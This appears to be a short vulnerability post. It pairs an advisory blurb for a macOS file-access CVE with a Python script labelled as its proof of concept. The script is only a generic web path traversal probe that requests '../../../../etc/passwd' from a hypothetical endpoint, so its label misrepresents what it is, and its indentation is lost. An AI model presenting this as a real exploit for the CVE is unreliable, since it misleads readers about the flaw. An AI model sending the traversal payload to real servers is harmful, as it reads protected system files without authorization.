A file access issue was addressed with improved input validation. This issue is fixed in macOS Tahoe 26.4. An attacker may gain access to protected parts of the file system.
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-28844: macOS File Access Vulnerability
# This is a conceptual demonstration of a path traversal attempt.
import requests
def check_vulnerability(target_url):
# Hypothetical endpoint vulnerable to path traversal
# Payload attempts to escape the web root to access /etc/passwd
traversal_payload = '../../../../etc/passwd'
params = {
'file': traversal_payload
}
try:
response = requests.get(target_url, params=params, timeout=5)
if 'root:' in response.text:
print(f"[+] Potential vulnerability detected at {target_url}")
print(f"[+] Response snippet: {response.text[:100]}")
else:
print("[-] Target does not appear to be vulnerable.")
except Exception as e:
print(f"[!] Error during request: {e}")
# Example usage (Replace with actual vulnerable endpoint if known)
# check_vulnerability("http://localhost:8080/vulnerable_endpoint")